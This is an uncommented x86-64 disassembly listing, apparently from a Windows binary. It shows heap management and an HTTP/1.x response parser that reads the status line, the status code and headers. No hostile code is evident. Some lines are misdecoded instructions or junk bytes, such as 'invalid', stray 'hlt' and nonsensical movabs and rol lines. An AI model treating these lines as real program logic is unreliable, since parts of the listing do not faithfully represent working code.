jae 0x140088b00
cmp word [rbx + r10*4], 0xffff
je 0x140088ac0
stosb byte [rdi], al
stosb byte [rdi], al
movzx r8d, word [rbx + r10*4 + 2]
and r8d, r12d
mov r9d, r10d
sub r9d, r8d
mov r8d, r12d
and r8d, r9d
cmp r8, rdx
jb 0x140088b40
inc rdx
inc r10
mov r8, r10
jmp 0x140088b00
mov rcx, qword [rsp + 0x20]
nop word cs:[rax + rax]
mov rdx, r10
mov r10d, 0
cmp rdx, rdi
jae 0x140088b50
movzx r9d, word [rbx + rdx*4]
cmp r9w, 0xffff
je 0x140088b90
movzx r8d, word [rbx + rdx*4 + 2]
mov word [rbx + rdx*4], bp
mov word [rbx + rdx*4 + 2], ax
inc rdx
mov eax, r8d
mov ebp, r9d
mov r10, rdx
jmp 0x140088b50
mov word [rbx + rdx*4], bp
mov word [rbx + rdx*4 + 2], ax
cmp rsi, r14
jne 0x140088adb
jmp fcn.140088cfc
push rcx
hlt
adc dword [rax + 0x10], eax
test rdi, rdi
mov rsi, qword [rsp + 0x20]
je 0x140088c1e
mov r8, qword [rsi + 0x18]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rsi + 0x18], rbx
mov dword [rsi + 0x18], ebx
mov qword [rsi + 0x20], 8
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140088c56
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140088d1e
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x270
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140088d1e
mov rdi, rax
mov rax, qword [rsp + 0x20]
mov rbx, qword [rax + 0x28]
mov r15, qword [rax + 0x38]
test r15, r15
je 0x140088cc5
lea r14, [rbx + 0x30]
jmp 0x140088cab
mov rax, qword [r14 - 0x18]
mov rdx, qword [r14 - 0x10]
mov r8, qword [r14 - 8]
mov rcx, r14
call qword [rax + reloc.WS2_32.dll_recv]
add r14, 0x68
dec r15
je 0x140088cc5
mov rax, qword [r14 + 0x10]
test rax, rax
je 0x140088c90
lea rcx, [r14 + 0x28]
mov rdx, qword [r14 + 0x18]
mov r8, qword [r14 + 0x20]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x140088c90
mov rax, qword [rsp + 0x20]
cmp qword [rax + 0x30], 0
je 0x140088ce8
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsp + 0x20]
mov qword [rax + 0x28], rdi
js 0x140088d14
mov qword [rax + 0x30], 6
mov qword [rax + 0x38], 0
add byte [rax], al
add al, ch
invalid
mov ecx, 8
mov edx, 0x270
call fcn.14015d7f0
ud2
xor edi, edi
pop rax
add byte [rsi + 0x46], spl
mov dword [rax + rbx*4], ecx
mov dword [rsp + 0x30], 8
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov word [rax + r12*4], r10w
mov word [rax + r12*4 + 2], r11w
movabs al, byte [0x834902a05c894666]
rol dword [rcx*2 - 0x7bf03ec7], 0xa
invalid
add r9, 4
cmp r9, r8
je 0x140088ea2
mov bh, 0x11
cmp r10w, 0xffff
je 0x140088f8b
movzx r11d, word [r9 + 2]
mov ebp, r11d
and ebp, ecx
movzx r13d, bp
nop word cs:[rax + rax]
mov r12, r13
mov r13d, 0
cmp r12, rdi
jae 0x140088fc0
cmp word [rax + r12*4], 0xffff
je 0x140088f80
inc r12
mov r13, r12
jmp 0x140088fc0
lodsb al, byte [rsi]
xchg edx, eax
or eax, 0x4c0b0f00
lea eax, [0x1401d4f78]
test rbx, rbx
je 0x14008def3
mov rax, qword [rsp + 0x238]
mov r14, qword [rax]
xor r8d, r8d
jmp 0x14008a98c
inc r8
cmp r8, rbx
jae 0x14008def3
movzx r9d, byte [r14 + r8]
cmp r9d, 0xa
je 0x14008a980
cmp r9d, 0xd
jne 0x14008a9d0
lea rax, [r8 + 1]
cmp rax, rbx
jae 0x14008def3
cmp byte [r14 + r8 + 1], 0xa
jne 0x14008df04
add r8, 2
cmp r8, rbx
jb 0x14008a98c
jmp 0x14008def3
lea rax, [r14 + r8]
mov rdx, rbx
sub rdx, r8
cmp rdx, 8
jae 0x14008aa82
cmp rbx, r8
je 0x14008def3
mov ecx, 6
cmp r9b, 0x48
jne 0x14008b486
cmp rdx, 2
jb 0x14008def3
cmp byte [rax + 1], 0x54
jne 0x14008b486
cmp rdx, 3
jb 0x14008def3
cmp byte [rax + 2], 0x54
jne 0x14008b486
cmp rdx, 4
jb 0x14008def3
cmp byte [rax + 3], 0x50
jne 0x14008b486
cmp rdx, 5
jb 0x14008def3
cmp byte [rax + 4], 0x2f
jne 0x14008b486
cmp rdx, 6
jb 0x14008def3
cmp byte [rax + 5], 0x31
jne 0x14008b486
cmp rdx, 7
jb 0x14008def3
cmp byte [rax + 6], 0x2e
mov eax, 0
cmove rcx, rax
jne 0x14008b486
jmp 0x14008def3
mov r9, qword [rax]
movq xmm0, r9
movdqa xmm1, xmm0
punpcklbw xmm1, xmm6
pshuflw xmm2, xmm1, 0xe1
packuswb xmm2, xmm2
movd r10d, xmm2
mov ecx, 6
cmp r10d, 0x50544854
jne 0x14008b486
pshufhw xmm1, xmm1, 0xe1
pshufd xmm1, xmm1, 0xaa
packuswb xmm1, xmm1
pcmpeqb xmm1, xmm11
punpcklbw xmm1, xmm1
pshuflw xmm1, xmm1, 0x50
pshufd xmm1, xmm1, 0x50
movmskpd r10d, xmm1
mov r11d, r10d
shr r11b, 1
je 0x14008b486
test r10b, 1
je 0x14008b486
shr r9, 0x30
cmp r9b, 0x2e
jne 0x14008b486
pextrw r9d, xmm0, 3
shr r9d, 8
cmp r9b, 0x30
je 0x14008ab1b
cmp r9d, 0x31
jne 0x14008b486
mov r9b, 2
jmp 0x14008ab1e
mov r9b, 1
mov qword [rsp + 0x138], r9
cmp rdx, 9
jb 0x14008def3
cmp byte [rax + 8], 0x20
jne 0x14008b486
add rax, 9
lea r15, [rdx - 9]
cmp byte [rsp + 0x4f], 0
je 0x14008ab89
cmp rdx, 9
je 0x14008def3
cmp byte [rax], 0x20
jne 0x14008ab80
lea rcx, [r14 + r8]
add rcx, 0xa
add rdx, 0xfffffffffffffff6
xor r8d, r8d
cmp rdx, r8
je 0x14008def3
lea r9, [r8 + 1]
cmp byte [rcx + r8], 0x20
mov r8, r9
je 0x14008ab67
jmp 0x14008ab83
xor r9d, r9d
add rax, r9
sub r15, r9
test r15, r15
je 0x14008def3
movzx edx, byte [rax]
add dl, 0xd0
mov ecx, 3
cmp dl, 9
ja 0x14008df09
cmp r15, 2
jb 0x14008def3
movzx r8d, byte [rax + 1]
add r8b, 0xd0
cmp r8b, 9
ja 0x14008df09
cmp r15, 3
jb 0x14008def3
movzx r9d, byte [rax + 2]
add r9b, 0xd0
cmp r9b, 0xa
jae 0x14008df09
cmp r15, 4
jb 0x14008def3
movzx r10d, byte [rax + 3]
cmp r10d, 0xa
je 0x14008ac5e
cmp r10d, 0xd
je 0x14008ac68
cmp r10d, 0x20
jne 0x14008df09
cmp byte [rsp + 0x4f], 0
je 0x14008dba1
cmp r15, 5
jb 0x14008def3
mov r11d, 4
cmp byte [rax + 4], 0x20
jne 0x14008ac50
mov r10d, 5
sub r10, r15
mov esi, 4
lea r11, [r10 + rsi]
cmp r11, 4
je 0x14008def3
lea r11, [rsi + 1]
cmp byte [rax + rsi + 1], 0x20
mov rsi, r11
je 0x14008ac34
add rax, r11
sub r15, r11
xor r10d, r10d
jmp 0x14008dba7
add rax, 4
add r15, 0xfffffffffffffffc
jmp 0x14008ac84
cmp r15, 4
jbe 0x14008def3
cmp byte [rax + 4], 0xa
jne 0x14008df09
add rax, 5
add r15, 0xfffffffffffffffb
xor ecx, ecx
mov qword [rsp + 0x58], rcx
lea rcx, [0x140204680]
mov qword [rsp + 0x70], rcx
test r15, r15
je 0x14008def3
movzx ecx, dl
imul ecx, ecx, 0x64
movzx edx, r8b
add edx, edx
lea edx, [rdx + rdx*4]
movzx r8d, r9b
add r8d, edx
add r8d, ecx
mov qword [rsp + 0x130], r8
mov r11, r15
xor ecx, ecx
mov qword [rsp + 0x40], rcx
xor esi, esi
mov rcx, rsi
shl rcx, 5
add rcx, rsp
add rcx, 0x350
mov qword [rsp + 0x68], rcx
mov rcx, r11
mov rbp, rax
cmp byte [rsp + 0x2f], 0
je 0x14008ad78
movzx edx, byte [rbp]
cmp edx, 0xa
je 0x14008dc8c
cmp edx, 0xd
je 0x14008dcad
lea rax, [0x1401bb150]
cmp byte [rdx + rax], 0
jne 0x14008ad9f
mov eax, 1
test dl, dl
je 0x14008b473
movzx edx, dl
cmp edx, 0xa
je 0x14008ad66
cmp edx, 0xd
je 0x14008ad4f
cmp rcx, rax
jbe 0x14008def3
movzx edx, byte [rbp + rax]
inc rax
test dl, dl
jne 0x14008ad28
jmp 0x14008b473
cmp rcx, rax
jbe 0x14008def3
cmp byte [rbp + rax], 0xa
jne 0x14008b473
inc rax
add qword [rsp + 0x40], rax
add rbp, rax
sub rcx, rax
jne 0x14008acf4
jmp 0x14008def3
movzx eax, byte [rbp]
cmp eax, 0xa
je 0x14008dc8c
cmp eax, 0xd
je 0x14008dcad
lea rdx, [0x1401bb150]
cmp byte [rax + rdx], 0
je 0x14008b473
lea r9, [rcx - 1]
lea r10, [rbp + 2]
mov r8d, 1
cmp rcx, r8
jbe 0x14008def3
mov r12, r8
mov rax, r10
movzx edx, byte [rbp + r8]
inc r8
dec r9
inc r10
lea r11, [0x1401bb150]
cmp byte [rdx + r11], 0
jne 0x14008adad
add qword [rsp + 0x40], r8
lea r9, [r8 + rbp]
mov qword [rsp + 0x30], r9
mov r11, rcx
sub r11, r8
cmp dl, 0x3a
jne 0x14008aeb7
test r11, r11
je 0x14008def3
mov rax, qword [rsp + 0x30]
movzx eax, byte [rax]
cmp byte [rsp + 0x3f], 0
je 0x14008ae88
xor r8d, r8d
lea r13, [r8 + 1]
cmp al, 0x20
je 0x14008ae9f
movzx ecx, al
cmp ecx, 9
je 0x14008ae9f
lea rdx, [0x1401aa440]
cmp byte [rcx + rdx], 0
jne 0x14008afa2
cmp al, 0xa
je 0x14008ae63
cmp ecx, 0xd
jne 0x14008b333
cmp r11, r13
jbe 0x14008def3
mov rax, qword [rsp + 0x30]
cmp byte [rax + r8 + 1], 0xa
jne 0x14008ddf2
add r8, 2
jmp 0x14008ae66
mov r8, r13
cmp r8, r11
jae 0x14008def3
mov rax, qword [rsp + 0x30]
movzx eax, byte [rax + r8]
cmp eax, 9
je 0x14008ae11
cmp eax, 0x20
je 0x14008ae11
jmp 0x14008b431
movzx ecx, al
mov r13d, 1
cmp ecx, 9
je 0x14008ae9f
cmp ecx, 0x20
jne 0x14008af91
add qword [rsp + 0x40], r13
add qword [rsp + 0x30], r13
sub r11, r13
jne 0x14008adff
jmp 0x14008def3
cmp byte [rsp + 0x65], 0
je 0x14008af10
add r8, rbp
mov r9, r12
sub r9, rcx
xor ecx, ecx
cmp dl, 0x20
je 0x14008aed8
movzx r10d, dl
cmp r10d, 9
jne 0x14008af12
lea rdx, [r9 + rcx]
inc rdx
test rdx, rdx
je 0x14008def3
movzx edx, byte [r8 + rcx]
inc rcx
cmp dl, 0x3a
jne 0x14008aec9
add qword [rsp + 0x40], rcx
add qword [rsp + 0x30], rcx
sub r11, rcx
test r11, r11
jne 0x14008adff
jmp 0x14008def3
xor ecx, ecx
cmp byte [rsp + 0x2f], 0
je 0x14008b473
add rax, rcx
test dl, dl
je 0x14008b473
movzx edx, dl
cmp edx, 0xa
je 0x14008af6b
cmp edx, 0xd
je 0x14008af50
cmp r11, rcx
jbe 0x14008def3
movzx edx, byte [rax]
inc rcx
inc rax
test dl, dl
jne 0x14008af28
jmp 0x14008b473
cmp r11, rcx
jbe 0x14008def3
mov rax, qword [rsp + 0x30]
cmp byte [rax + rcx], 0xa
jne 0x14008b473
inc rcx
mov rax, qword [rsp + 0x40]
add rax, rcx
mov qword [rsp + 0x40], rax
mov rbp, qword [rsp + 0x30]
add rbp, rcx
sub r11, rcx
mov rcx, r11
jne 0x14008ace9
jmp 0x14008def3
lea rdx, [0x1401aa440]
cmp byte [rcx + rdx], 0
je 0x14008b321
mov rax, qword [0x1402150f0]
test rax, rax
mov rdi, r11
jne 0x14008b028
mov rcx, qword [0x1402153e8]
test rcx, rcx
je 0x14008afec
mov rax, qword [0x1402153e8]
test cx, cx
js 0x14008b003
test rax, rax
je 0x14008b2c1
and eax, 0x800
cmp rax, 1
mov ecx, 0
sbb rcx, rcx
or rcx, 1
shr eax, 0xb
jmp 0x14008b021
call fcn.140166d30
mov r11, rdi
mov rcx, rax
mov rax, qword [0x1402153e8]
test cx, cx
jns 0x14008afc9
test rax, rax
je 0x14008b2ce
and eax, 0x800
cmp rax, 1
mov ecx, 3
sbb rcx, 0
mov rax, rcx
mov qword [0x1402150f0], rcx
cmp rax, 1
je 0x14008b06f
cmp rax, 2
je 0x14008b09d
cmp rax, 3
jne 0x14008b0fc
mov rax, r11
sub rax, r13
jb 0x14008e616
cmp rax, 0x1f
jbe 0x14008b0cb
mov rax, qword [rsp + 0x30]
lea rcx, [rax + r13]
call fcn.140084d70
mov r11, rdi
add r13, rax
cmp rax, 0x20
je 0x14008b03e
jmp 0x14008b0fc
mov rax, r11
sub rax, r13
jb 0x14008e616
cmp rax, 0xf
jbe 0x14008b0fc
mov rax, qword [rsp + 0x30]
lea rcx, [rax + r13]
call fcn.140084d20
mov r11, rdi
add r13, rax
cmp rax, 0x10
je 0x14008b06f
jmp 0x14008b0fc
mov rax, r11
sub rax, r13
jb 0x14008e616
cmp rax, 0x20
jb 0x14008b0fc
mov rax, qword [rsp + 0x30]
lea rcx, [rax + r13]
call fcn.140084d70
mov r11, rdi
add r13, rax
cmp rax, 0x20
je 0x14008b09d
jmp 0x14008b0fc
mov rax, r11
sub rax, r13
jb 0x14008e616
cmp rax, 0xf
jbe 0x14008b0f9
mov rax, qword [rsp + 0x30]
lea rcx, [rax + r13]
call fcn.140084d20
add r13, rax
cmp rax, 0x10
mov r11, rdi
je 0x14008b0cb
jmp 0x14008b0fc
mov r11, rdi
mov rdx, r13
cmp rdx, 0xfffffffffffffff7
ja 0x14008b113
lea rcx, [rdx + 8]
cmp rcx, r11
ja 0x14008b113
mov r13, rdx
jmp 0x14008b18e
cmp r11, rdx
jbe 0x14008def3
mov rax, qword [rsp + 0x30]
movzx eax, byte [rax + rdx]
lea r13, [rdx + 1]
lea rcx, [0x1401aa440]
cmp byte [rax + rcx], 0
je 0x14008b256
cmp rdx, 0xfffffffffffffff6
ja 0x14008b149
lea rcx, [rdx + 9]
cmp rcx, r11
jbe 0x14008b18e
add rdx, 9
mov rcx, rdx
lea rdx, [rcx - 8]
cmp r11, rdx
jbe 0x14008def3
mov rax, qword [rsp + 0x30]
movzx eax, byte [rax + rcx - 8]
lea r8, [0x1401aa440]
cmp byte [rax + r8], 0
je 0x14008b224
inc rcx
cmp rdx, 0xfffffffffffffff6
ja 0x14008b150
cmp rcx, r11
ja 0x14008b150
mov r13, rcx
add r13, 0xfffffffffffffff8
mov rax, qword [rsp + 0x30]
movq xmm0, qword [rax + r13]
movdqa xmmword [rsp + 0x2e0], xmm0
movzx eax, byte [rsp + 0x2e0]
lea r9, [0x1401aa440]
cmp byte [rax + r9], 0
je 0x14008b22d
movd edx, xmm0
mov eax, edx
shr eax, 8
movzx r8d, al
cmp byte [r8 + r9], 0
je 0x14008b232
add rcx, 0xfffffffffffffff9
mov r13, rcx
jmp 0x14008b256
inc r13
jmp 0x14008b256
mov rdx, 0xffffffffffffffff
cmp al, 0xa
je 0x14008b28c
movzx ecx, al
cmp ecx, 0xd
jne 0x14008b2db
cmp r11, r13
jbe 0x14008def3
mov rax, qword [rsp + 0x30]
cmp byte [rax + r13], 0xa
jne 0x14008ddf2
inc r13
mov rdx, 0xfffffffffffffffe
cmp byte [rsp + 0x3f], 0
je 0x14008b3b2
cmp r11, r13
jbe 0x14008def3
mov rax, qword [rsp + 0x30]
movzx eax, byte [rax + r13]
cmp eax, 9
je 0x14008afa2
cmp eax, 0x20
je 0x14008afa2
jmp 0x14008b3b2
call fcn.140166d30
mov r11, rdi
jmp 0x14008afd2
call fcn.140166d30
mov r11, rdi
jmp 0x14008b00c
cmp byte [rsp + 0x2f], 0
je 0x14008ddf2
test al, al
je 0x14008ddf2
movzx eax, al
cmp eax, 0xa
je 0x14008b391
cmp eax, 0xd
je 0x14008b372
mov rax, r11
cmp r11, r13
jbe 0x14008def3
cmp ecx, 0xa
je 0x14008b40a
cmp ecx, 0xd
je 0x14008b412
cmp byte [rsp + 0x2f], 0
je 0x14008ddf2
test al, al
je 0x14008ddf2
movzx eax, al
cmp eax, 0xa
je 0x14008b391
cmp eax, 0xd
je 0x14008b375
cmp r11, r13
jbe 0x14008def3
mov rax, qword [rsp + 0x30]
movzx eax, byte [rax + r13]
inc r13
test al, al
jne 0x14008b346
jmp 0x14008ddf2
mov rax, r11
cmp r11, r13
jbe 0x14008def3
mov rax, qword [rsp + 0x30]
cmp byte [rax + r13], 0xa
jne 0x14008ddf2
inc r13
sub r11, r13
mov rcx, r11
mov rbp, qword [rsp + 0x30]
add rbp, r13
add qword [rsp + 0x40], r13
test r11, r11
jne 0x14008ace9
jmp 0x14008def3
cmp rsi, 0x64
je 0x14008dee9
add rdx, r13
sub r11, r13
test rdx, rdx
je 0x14008b3f4
mov rcx, rdx
movabs r8, 0x100002600
mov rax, qword [rsp + 0x30]
movzx eax, byte [rax + rcx - 1]
cmp rax, 0x20
ja 0x14008b3f9
bt r8, rax
jae 0x14008b3f9
dec rcx
jne 0x14008b3d4
mov r8, r13
jmp 0x14008b43e
cmp rcx, rdx
ja 0x14008e62a
mov r8, r13
mov rdx, rcx
jmp 0x14008b440
mov r8d, 1
jmp 0x14008b431
cmp r11, 2
jb 0x14008def3
mov r8d, 2
mov rax, qword [rsp + 0x30]
cmp byte [rax + 1], 0xa
jne 0x14008ddf2
cmp rsi, 0x64
je 0x14008dee9
sub r11, r8
xor edx, edx
mov rcx, qword [rsp + 0x68]
mov r9, qword [rsp + 0x30]
lea rax, [r9 + r8]
add qword [rsp + 0x40], r8
inc rsi
mov qword [rcx], rbp
mov qword [rcx + 8], r12
mov qword [rcx + 0x10], r9
mov qword [rcx + 0x18], rdx
test r11, r11
jne 0x14008accd
jmp 0x14008def3
mov rax, qword [rsp + 0x50]
and rax, 0xffffffffffffff00
mov qword [rsp + 0x50], rax
movzx ecx, al
cmp ecx, 6
jne 0x14008df09
cmp byte [rsp + 0x67], 0
je 0x14008df09
xor ebx, ebx
mov r13w, 0xc8
xor eax, eax
xor ecx, ecx
mov qword [rsp + 0x138], rcx
xor esi, esi
mov qword [rsp + 0x240], rax
mov rax, qword [rsp + 0x150]
lea rcx, [rsp + 0x248]
mov qword [rcx + 0x10], rax
movaps xmm0, xmmword [rsp + 0x140]
movups xmmword [rcx], xmm0
lea rcx, [rsp + 0x2c0]
mov rdx, qword [rsp + 0x238]
mov r8, rbx
call fcn.140017350
cmp byte [rsp + 0x3f], 0
mov qword [rsp + 0x130], r13
je 0x14008b619
cmp rsi, 0x65
jae 0x14008e44d
mov rdi, qword [rsp + 0x2c0]
mov rdx, qword [rsp + 0x2c8]
test rsi, rsi
lea r12, [rsp + 0x350]
lea r13, [0x1401d563b]
je 0x14008b638
mov rax, rsi
shl rax, 5
lea r8, [rsp + rax]
add r8, 0xfd0
lea r9, [rsp + 0xfd0]
jmp 0x14008b55d
add r9, 0x20
cmp r9, r8
je 0x14008b638
mov rcx, qword [r9 + 0x10]
mov rax, qword [r9 + 0x18]
cmp rax, rcx
jb 0x14008e2e1
cmp rax, rdx
ja 0x14008e2f2
cmp rax, rcx
je 0x14008b550
lea r10, [rdi + rcx]
mov r11d, eax
sub r11d, ecx
and r11d, 3
jne 0x14008b5ac
not rcx
add rcx, rax
cmp rcx, 3
jb 0x14008b550
add rax, rdi
jmp 0x14008b5ce
mov byte [r10], 0x20
inc r10
dec r11
je 0x14008b58c
movzx ebx, byte [r10]
cmp ebx, 0xd
je 0x14008b5a0
cmp ebx, 0xa
je 0x14008b5a0
jmp 0x14008b5a4
mov byte [r10 + 3], 0x20
add r10, 4
cmp r10, rax
je 0x14008b550
movzx ecx, byte [r10]
cmp ecx, 0xa
je 0x14008b5dc
cmp ecx, 0xd
jne 0x14008b5e0
mov byte [r10], 0x20
movzx ecx, byte [r10 + 1]
cmp ecx, 0xd
je 0x14008b5ef
cmp ecx, 0xa
jne 0x14008b5f4
mov byte [r10 + 1], 0x20
movzx ecx, byte [r10 + 2]
cmp ecx, 0xd
je 0x14008b603
cmp ecx, 0xa
jne 0x14008b608
mov byte [r10 + 2], 0x20
movzx ecx, byte [r10 + 3]
cmp ecx, 0xd
je 0x14008b5c0
cmp ecx, 0xa
je 0x14008b5c0
jmp 0x14008b5c5
mov rdi, qword [rsp + 0x2c0]
mov rdx, qword [rsp + 0x2c8]
lea r12, [rsp + 0x350]
lea r13, [0x1401d563b]
mov rbx, qword [rsp + 0x2d8]
test bl, 1
jne 0x14008b671
mov qword [rsp + 0x1c8], rdi
mov qword [rsp + 0x1d0], rdx
mov qword [rsp + 0x1d8], rbx
lea rax, [0x1401e17a0]
mov qword [rsp + 0x1c0], rax
jmp 0x14008b759
mov r15, qword [rsp + 0x2d0]
shr rbx, 5
sub rdi, rbx
lea r14, [rbx + rdx]
cmp rdx, r15
jne 0x14008b6a8
test r14, r14
je 0x14008b706
mov rax, rdi
test dil, 1
jne 0x14008b71b
or rax, 1
lea rcx, [0x1401a9358]
jmp 0x14008b722
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x14008b6d1
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14008e515
mov qword [0x140215360], rax
mov r8d, 0x18
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14008e515
add r15, rbx
mov qword [rax], rdi
mov qword [rax + 8], r15
mov qword [rax + 0x10], 1
lea rcx, [0x140169c10]
jmp 0x14008b722
xor eax, eax
lea rdi, [0x140204680]
xor r14d, r14d
lea rcx, [0x1401d3af8]
jmp 0x14008b722
lea rcx, [0x1401a9370]
mov qword [rsp + 0x80], rbx
mov rdx, r14
sub rdx, rbx
jb 0x14008e497
add rdi, rbx
mov qword [rsp + 0x1c0], rcx
mov qword [rsp + 0x1c8], rdi
mov qword [rsp + 0x1d0], rdx
mov qword [rsp + 0x1d8], rax
mov rcx, qword [rsp + 0x2b0]
mov rax, qword [rcx]
mov qword [rcx], 3
cmp rax, 3
jne 0x14008b7c1
mov word [rsp + 0x198], 0
mov qword [rsp + 0x158], 2
mov qword [rsp + 0x160], 0
mov qword [rsp + 0x168], 8
lea rax, [rsp + 0x148]
movdqu xmmword [rax + 0x28], xmm6
mov qword [rsp + 0x180], 8
movdqu xmmword [rax + 0x40], xmm6
xor eax, eax
jmp 0x14008b808
mov rdx, qword [rsp + 0x2a8]
mov rcx, qword [rdx + 0x50]
lea r8, [rsp + 0x148]
mov qword [r8 + 0x50], rcx
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [r8 + 0x40], xmm0
movups xmm0, xmmword [rdx]
movupd xmm1, xmmword [rdx + 0x10]
movdqu xmm2, xmmword [rdx + 0x20]
movups xmm3, xmmword [rdx + 0x30]
movups xmmword [r8 + 0x30], xmm3
movdqu xmmword [r8 + 0x20], xmm2
movupd xmmword [r8 + 0x10], xmm1
movups xmmword [r8], xmm0
cmp byte [rsp + 0x138], 2
sete cl
mov dword [rsp + 0x70], ecx
mov qword [rsp + 0x140], rax
cmp byte [rsp + 0x66], 0
je 0x14008b876
lea rax, [rsp + 0xb8]
movdqu xmmword [rax + 0x28], xmm6
movdqu xmmword [rax + 0x40], xmm6
mov qword [rsp + 0xc8], 2
mov qword [rsp + 0xd0], 0
mov qword [rsp + 0xd8], 8
mov qword [rsp + 0xf0], 8
mov word [rsp + 0x108], 0
xor eax, eax
jmp 0x14008b87b
mov eax, 3
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0x178]
mov rdx, rax
add rdx, rsi
jb 0x14008e3f2
mov r15, qword [rsp + 0x160]
cmp rdx, r15
jbe 0x14008b8f7
lea rcx, [rdx - 1]
bsr rcx, rcx
not ecx
mov rdi, 0xffffffffffffffff
shr rdi, cl
inc rdi
cmp rdx, 2
mov ecx, 1
cmovb rdi, rcx
cmp rdi, 0x8000
ja 0x14008e463
test rdi, rdi
je 0x14008e47d
test rax, rax
je 0x14008d700
lea rcx, [rsp + 0x140]
mov rdx, rdi
call fcn.140088d30
cmp rsi, 0x65
jae 0x14008e40c
test rsi, rsi
je 0x14008d421
shl rsi, 5
lea rax, [rsp + rsi]
add rax, 0xfd0
mov qword [rsp + 0x288], rax
lea rsi, [rsp + 0xfd0]
mov rdi, qword [rsi]
mov rbx, qword [rsi + 8]
cmp rbx, rdi
jb 0x14008e3a4
mov qword [rsp + 0x30], rsi
mov rdx, qword [rsp + 0x1d0]
cmp rbx, rdx
ja 0x14008e3b8
mov rsi, rbx
sub rsi, rdi
je 0x14008df8c
mov r14, qword [rsp + 0x1c8]
cmp rsi, 0x40
ja 0x14008b989
mov rax, rdi
not rax
add rbx, rax
cmp rbx, 3
jae 0x14008b9f0
xor r8d, r8d
movabs rbx, 0xfefefefefefefeff
jmp 0x14008ba67
cmp rsi, 0x10000
jae 0x14008df8c
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x14008b9bf
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14008e3e3
mov qword [0x140215360], rax
mov rcx, rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14008e3e3
mov rcx, rsi
shr rcx, 0xa
je 0x14008bb17
bsr rcx, rcx
xor rcx, 0x3f
jmp 0x14008bb1c
mov rax, rsi
and rax, 0xfffffffffffffffc
lea rcx, [r14 + rdi]
add rcx, 3
xor edx, edx
movabs rbx, 0xfefefefefefefeff
nop dword [rax + rax]
movzx r8d, byte [rcx + rdx - 3]
movzx r8d, byte [r8 + r13]
mov byte [rsp + rdx + 0x350], r8b
movzx r8d, byte [rcx + rdx - 2]
movzx r8d, byte [r8 + r13]
mov byte [rsp + rdx + 0x351], r8b
movzx r8d, byte [rcx + rdx - 1]
movzx r8d, byte [r8 + r13]
mov byte [rsp + rdx + 0x352], r8b
lea r8, [rdx + 4]
movzx r9d, byte [rcx + rdx]
movzx r9d, byte [r9 + r13]
mov byte [rsp + rdx + 0x353], r9b
mov rdx, r8
cmp rax, r8
jne 0x14008ba10
mov eax, esi
and eax, 3
je 0x14008baa6
lea rcx, [rsp + r8]
add rcx, 0x350
add rdi, r8
add r14, rdi
xor edx, edx
nop word cs:[rax + rax]
movzx r8d, byte [r14 + rdx]
movzx r8d, byte [r8 + r13]
mov byte [rcx + rdx], r8b
inc rdx
cmp rax, rdx
jne 0x14008ba90
mov rcx, r12
mov rdx, rsi
call fcn.14007ee70
cmp al, 0x51
jne 0x14008baeb
cmp rsi, 0xf
ja 0x14008bbe7
xor eax, eax
nop word cs:[rax + rax]
cmp byte [rsp + rax + 0x350], 0
je 0x14008df8c
inc rax
cmp rsi, rax
jne 0x14008bad0
jmp 0x14008bcf6
movzx eax, al
mov rdx, qword [rsp + 0x280]
and rdx, 0xffffffffffffff00
or rdx, rax
xor eax, eax
mov r8, qword [rsp + 0x278]
mov r9, qword [rsp + 0x270]
jmp 0x14008be0c
mov ecx, 0x40
shl rcx, 2
mov edx, 0x101
sub rdx, rcx
mov qword [rsp + 0x200], rax
mov qword [rsp + 0x208], 0
mov qword [rsp + 0x210], rsi
mov qword [rsp + 0x218], rdx
xor r8d, r8d
nop
movzx eax, byte [r14 + rdi]
movzx esi, byte [rax + r13]
test sil, sil
je 0x14008df2d
mov rax, qword [rsp + 0x210]
cmp rax, r8
jne 0x14008bb92
mov edx, 1
lea rcx, [rsp + 0x200]
call fcn.1400175d0
mov r8, qword [rsp + 0x208]
mov rax, qword [rsp + 0x210]
mov rcx, qword [rsp + 0x200]
mov byte [rcx + r8], sil
inc r8
mov qword [rsp + 0x260], r8
cmp r8, rax
ja 0x14008e314
mov qword [rsp + 0x208], r8
inc rdi
cmp rbx, rdi
jne 0x14008bb50
mov rdx, qword [rsp + 0x200]
mov rsi, qword [rsp + 0x218]
test sil, 1
jne 0x14008bc50
lea rax, [0x1401e17a0]
mov r9, rsi
jmp 0x14008be0c
cmp qword [rsp + 0x2a0], r12
movabs r9, 0x8080808080808080
je 0x14008bc91
mov rcx, qword [rsp + 0x298]
cmp rcx, rsi
mov rax, rsi
cmovb rax, rcx
test rax, rax
je 0x14008bc91
xor ecx, ecx
cmp byte [rsp + rcx + 0x350], 0
je 0x14008df8c
inc rcx
cmp rax, rcx
jne 0x14008bc18
lea rcx, [rsi - 0x10]
cmp rax, rcx
movabs rbx, 0xfefefefefefefeff
movabs r9, 0x8080808080808080
jbe 0x14008bca0
jmp 0x14008bcdb
mov rbx, qword [rsp + 0x210]
shr rsi, 5
sub rdx, rsi
lea rdi, [rsi + r8]
cmp r8, rbx
jne 0x14008bd72
test rdi, rdi
je 0x14008bdd9
mov r9, rdx
test dl, 1
jne 0x14008bdee
or r9, 1
lea rax, [0x1401a9358]
jmp 0x14008bdf5
lea rcx, [rsi - 0x10]
xor eax, eax
nop word [rax + rax]
mov rdx, qword [rsp + rax + 0x350]
mov r8, rdx
not r8
